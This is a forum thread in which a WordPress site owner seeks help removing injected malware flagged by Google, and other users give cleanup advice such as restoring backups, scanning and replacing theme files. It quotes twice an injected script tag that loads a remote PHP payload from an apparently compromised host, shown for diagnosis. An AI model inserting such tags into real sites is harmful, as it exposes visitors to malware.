Buying Wordpress Blog Malware Removal

Google has detected harmful code on my site that has been injected by some sort of a script. To protect visitors to my site from malware, Google's search results now display a warning when users click a link to your site.

Examples of Suspicious Snipped

on http://linenpage.com/how-do-i-keep-my-linen-shirts-wrinkle-free/

<script src="http://project3.sadurska.com/wp-includes/7fsZhKGF.php?id=63129829" type="text/javascript">

Code (markup):

Need an expert to remove all such scripts from one or more urls of my site linenpage.com

 

Expert in Worpress/Php/Druapal and fixing compromised website.... I would like to know how much you willing to pay to fix each page? A fast turn-Around would be provided.

 

About 4 urls have been compromised. Details sent...

 

Thanks mate. Why don't you report him....

 

install wordfence and start scanning to see if that helps.
It may be easier to get your backups out, override all of the files on your server now with your backup copies. Odds are, your databases should be fine, the only thing is the files have been hacked, and once you restore from backups, that should be the problem solved.

You then need to harden your wordpress by installing things such as bulletproof security (to name just one). The worry about wordfence, and installing a range of security apps (per domain), is that if you are on a $1 host, you will get your account banned as these tend to use a bit of cpu and ram resources.

 

Just visited your site and it seems the domain changed.

 <script src="http://www.archegroup.it/UIFCZWyV.php?id=63129829" type="text/javascript"></script>

Code (markup):

If you still need help, I can remove these.

 

There is no MALWARE now.. The site is clean.

 

really? so the popup that forces malware to be installed is there by design?

 

No I don't see any popup.

It must be your browser I guess...

 

nope.
I might be wrong, but I really dont believe that this line of code should be in your theme header file:

    <script src="http://www.archegroup.it/UIFCZWyV.php?id=63129829" type="text/javascript"></script>

Code (markup):

The last person on DP that I helped unhack, had their template files hacked / replaced somehow. You are using the woocomerce theme? Provided you havent made any major changes to the theme, I would still encourage you to reload the original theme files to ensure that everything is normal

 

Thank you. Checking it.

 

I replaced the theme and now I don't see the script mate..

Thanks a lot...

If you accept donations, I would like to offer you a fiverr for your time.

 

i dont, but if you are really keen, these people do: whiteribbon.org.au/donate

worthy cause too.

at any rate, glad its solved.

 

Thinks its fixed but if you still need help then let me know about it.... See you Around..... And remember we accept payment after work is completed or as discussed.

 

Work Completed...